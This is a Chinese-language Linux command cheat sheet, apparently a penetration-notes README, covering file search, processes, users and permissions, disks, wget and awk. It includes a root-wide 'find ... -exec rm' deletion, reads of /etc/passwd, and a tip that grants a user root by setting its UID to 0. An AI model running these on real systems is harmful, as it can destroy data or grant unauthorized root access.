    • find . -iname *lin*,其中 . 代表在当前目录找,-iname 表示匹配文件名 / 文件夹名(忽略大小写差异),lin 用通配符搜索含有lin的文件或是文件夹
    • find / -name *.conf,其中 / 代表根目录查找,*.conf代表搜索后缀会.conf的文件
    • find /opt -name .oh-my-zsh,其中 /opt 代表目录名,.oh-my-zsh 代表搜索的是隐藏文件 / 文件夹名字为 oh-my-zsh 的
    • find /opt -type f -iname .oh-my-zsh,其中 /opt 代表目录名,-type f 代表只找文件,.oh-my-zsh 代表搜索的是隐藏文件名字为 oh-my-zsh 的
    • find /opt -type d -iname .oh-my-zsh,其中 /opt 代表目录名,-type d 代表只找目录,.oh-my-zsh 代表搜索的是隐藏文件夹名字为 oh-my-zsh 的
    • find . -name "lin*" -exec ls -l {} \;,当前目录搜索lin开头的文件,然后用其搜索后的结果集,再执行ls -l的命令(这个命令可变,其他命令也可以),其中 -exec 和 {} ; 都是固定格式
    • find /opt -type f -size +800M -print0 | xargs -0 du -h | sort -nr,找出 /opt 目录下大于 800 M 的文件
    • find / -name "*tower*" -exec rm {} \;,找到文件并删除
    • find / -name "*tower*" -exec mv {} /opt \;,找到文件并移到 opt 目录
    • find . -name "*" |xargs grep "youmeek",递归查找当前文件夹下所有文件内容中包含 youmeek 的文件
    • find . -size 0 | xargs rm -f &,删除当前目录下文件大小为0的文件
    • du -hm --max-depth=2 | sort -nr | head -12,找出系统中占用容量最大的前 12 个目录
  • cat /etc/resolv.conf,查看 DNS 设置

  • netstat -tlunp,查看当前运行的服务,同时可以查看到:运行的程序已使用端口情况

  • env,查看所有系统变量

  • export,查看所有系统变量

  • echo
    
    • echo $JAVA_HOME,查看指定系统变量的值,这里查看的是自己配置的 JAVA_HOME。
    • echo "字符串内容",输出 "字符串内容"
    • echo > aa.txt,清空 aa.txt 文件内容(类似的还有:: > aa.txt,其中 : 是一个占位符, 不产生任何输出)
  • unset $JAVA_HOME,删除指定的环境变量

  • ln -s /opt/data /opt/logs/data,表示给 /opt/logs 目录下创建一个名为 data 的软链接,该软链接指向到 /opt/data

  • grep
    
    • shell grep -H '安装' *.sh,查找当前目录下所有 sh 类型文件中,文件内容包含 安装 的当前行内容
    • grep 'test' java*,显示当前目录下所有以 java 开头的文件中包含 test 的行
    • grep 'test' spring.ini docker.sh,显示当前目录下 spring.ini docker.sh 两个文件中匹配 test 的行
  • ps
    
    • ps –ef|grep java,查看当前系统中有关 java 的所有进程
    • ps -ef|grep --color java,高亮显示当前系统中有关 java 的所有进程
  • kill
    
    • kill 1234,结束 pid 为 1234 的进程
    • kill -9 1234,强制结束 pid 为 1234 的进程(慎重)
    • killall java,结束同一进程组内的所有为 java 进程
    • ps -ef|grep hadoop|grep -v grep|cut -c 9-15|xargs kill -9,结束包含关键字 hadoop 的所有进程
  • head
    
    • head -n 10 spring.ini,查看当前文件的前 10 行内容
  • tail
    
    • tail -n 10 spring.ini,查看当前文件的后 10 行内容
    • tail -200f 文件名,查看文件被更新的新内容尾 200 行,如果文件还有在新增可以动态查看到(一般用于查看日记文件)

用户、权限-相关命令

  • 使用 pem 证书登录:

    ssh -i /opt/mykey.pem root@192.168.0.70
    
    • 证书权限不能太大,不然无法使用:chmod 600 mykey.pem
  • hostname,查看当前登陆用户全名

  • cat /etc/group,查看所有组

  • cat /etc/passwd,查看所有用户

  • groups youmeek,查看 youmeek 用户属于哪个组

  • useradd youmeek -g judasn,添加用户并绑定到 judasn 组下

  • userdel -r youmeek
    

    ,删除名字为 youmeek 的用户

    • 参数:-r,表示删除用户的时候连同用户的家目录一起删除
  • 修改普通用户 youmeek 的权限跟 root 权限一样:

    • 常用方法(原理是把该用户加到可以直接使用 sudo 的一个权限状态而已):

      • 编辑配置文件:vim /etc/sudoers
      • 找到 98 行(预估),有一个:root ALL=(ALL) ALL,在这一行下面再增加一行,效果如下:
       root    ALL=(ALL)   ALL
       youmeek    ALL=(ALL)   ALL
      
    • 另一种方法:

      • 编辑系统用户的配置文件:vim /etc/passwd,找到 rootyoumeek 各自开头的那一行,比如 root 是:root:x:0:0:root:/root:/bin/zsh,这个代表的含义为:用户名:密码:UserId:GroupId:描述:家目录:登录使用的 shell
      • 通过这两行对比,我们可以直接修改 youmeek 所在行的 UserId 值 和 GroupId 值,都改为 0。
  • groupadd judasn,添加一个名为 judasn 的用户组

  • groupdel judasn,删除一个名为 judasn 的用户组(前提:先删除组下面的所有用户)

  • usermod 用户名 -g 组名,把用户修改到其他组下

  • passwd youmeek,修改 youmeek 用户的密码(前提:只有 root 用户才有修改其他用户的权限,其他用户只能修改自己的)

  • chmod 777 文件名/目录
    

    ,给指定文件增加最高权限,系统中的所有人都可以进行读写。

    • linux 的权限分为 rwx。r 代表:可读,w 代表:可写,x 代表:可执行
    • 这三个权限都可以转换成数值表示,r = 4,w = 2,x = 1,- = 0,所以总和是 7,也就是最大权限。第一个 7 是所属主(user)的权限,第二个 7 是所属组(group)的权限,最后一位 7 是非本群组用户(others)的权限。
    • chmod -R 777 目录 表示递归目录下的所有文件夹,都赋予 777 权限
    • chown myUsername:myGroupName myFile 表示修改文件所属用户、组
    • chown -R myUsername:myGroupName myFolder 表示递归修改指定目录下的所有文件权限
  • su
    

    :切换到 root 用户,终端目录还是原来的地方(常用)

    • su -:切换到 root 用户,其中 - 号另起一个终端并切换账号
    • su 用户名,切换指定用户帐号登陆,终端目录还是原来地方。
    • su - 用户名,切换到指定用户帐号登陆,其中 - 号另起一个终端并切换账号
  • exit,注销当前用户(常用)

  • sudo 某个命令,使用管理员权限使用命令,使用 sudo 回车之后需要输入当前登录账号的密码。(常用)

  • passwd,修改当前用户密码(常用)

  • 添加临时账号,并指定用户根目录,并只有可读权限方法

    • 添加账号并指定根目录(用户名 tempuser):useradd -d /data/logs -m tempuser
    • 设置密码:passwd tempuser 回车设置密码
    • 删除用户(该用户必须退出 SSH 才能删除成功),也会同时删除组:userdel tempuser

磁盘管理

  • df -h
    

    ,自动以合适的磁盘容量单位查看磁盘大小和使用空间

    • df -k,以磁盘容量单位 K 为数值结果查看磁盘使用情况
    • df -m,以磁盘容量单位 M 为数值结果查看磁盘使用情况
  • du -sh /opt,查看 opt 这个文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位)

  • du -sh ./*,查看当前目录下所有文件夹大小 (h 的意思 human-readable 用人类可读性较好方式显示,系统会自动调节单位,显示合适大小的单位)

  • du -sh /opt/setups/,显示 /opt/setups/ 目录所占硬盘空间大小(s 表示 –summarize 仅显示总计,即当前目录的大小。h 表示 –human-readable 以 KB,MB,GB 为单位,提高信息的可读性)

  • mount /dev/sdb5 /newDir/
    

    ,把分区 sdb5 挂载在根目录下的一个名为 newDir 的空目录下,需要注意的是:这个目录最好为空,不然已有的那些文件将看不到,除非卸载挂载。

    • 挂载好之后,通过:df -h,查看挂载情况。
  • umount /newDir/
    

    ,卸载挂载,用目录名

    • 如果这样卸载不了可以使用:umount -l /newDir/
  • umount /dev/sdb5,卸载挂载,用分区名

wget 下载文件

  • 常规下载:wget http://www.gitnavi.com/index.html
  • 自动断点下载:wget -c http://www.gitnavi.com/index.html
  • 后台下载:wget -b http://www.gitnavi.com/index.html
  • 伪装代理名称下载:wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.gitnavi.com/index.html
  • 限速下载:wget --limit-rate=300k http://www.gitnavi.com/index.html
  • 批量下载:wget -i /opt/download.txt,一个下载地址一行
  • 后台批量下载:wget -b -c -i /opt/download.txt,一个下载地址一行

其他常用命令

  • 编辑 hosts 文件:vim /etc/hosts,添加内容格式:127.0.0.1 www.youmeek.com
  • RPM 文件操作命令:
    • 安装
      • rpm -i example.rpm,安装 example.rpm 包
      • rpm -iv example.rpm,安装 example.rpm 包并在安装过程中显示正在安装的文件信息
      • rpm -ivh example.rpm,安装 example.rpm 包并在安装过程中显示正在安装的文件信息及安装进度
    • 查询
      • rpm -qa | grep jdk,查看 jdk 是否被安装
      • rpm -ql jdk,查看 jdk 是否被安装
    • 卸载
      • rpm -e jdk,卸载 jdk(一般卸载的时候都要先用 rpm -qa 看下整个软件的全名)
  • YUM 软件管理:
    • yum install -y httpd,安装 apache
    • yum remove -y httpd,卸载 apache
    • yum info -y httpd,查看 apache 版本信息
    • yum list --showduplicates httpd,查看可以安装的版本
    • yum install httpd-查询到的版本号,安装指定版本
    • 更多命令可以看:http://man.linuxde.net/yum
  • 查看某个配置文件,排除掉里面以 # 开头的注释内容:
    • grep '^[^#]' /etc/openvpn/server.conf
  • 查看某个配置文件,排除掉里面以 # 开头和 ; 开头的注释内容:
    • grep '^[^#;]' /etc/openvpn/server.conf

AWK命令

awk '{ print }' /etc/passwd

查看/etc/passwd内容和用cat命令一样.指定了/etc/passwd 作为输入文件。执行 awk 时,它依次对 /etc/passwd 中的每一行执行 print 命令

awk '{ print $0 }' /etc/passwd

在 awk 中, $0 变量表示整个当前行,所以 print 和 print $0 的作用完全一样.

awk -F":" '{ print $1 }' /etc/passwd

使用 -F 选项来指定 ":" 作为字段分隔符。awk 处理 print $1 命令时,它会打印出在输入文件中每一行中出现的第一个字段(第一列)。

awk -F":" '{ print $1 $3 }' /etc/passwd

打印第一列和第三列

awk -F":" '{ print $1 " " $3 }' /etc/passwd

打印第一列和第三列,用空格分开

awk -F":" '{ print "username: " $1 "/t/tuid:" $3" }' /etc/passwd

拼接一些字符串

待更新

ubuntu踩坑记录

  • unzip 命令解压windows下的压缩包乱码,可用unar命令解决

    sudo apt install unar
    unar xxx.zip            #不需要加参数,自动识别编码

编程语言笔记

php

读书笔记

漏洞笔记

xss入门https://wizardforcel.gitbooks.io/xss-naxienian/content/1.html

About

一些渗透姿势记录

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published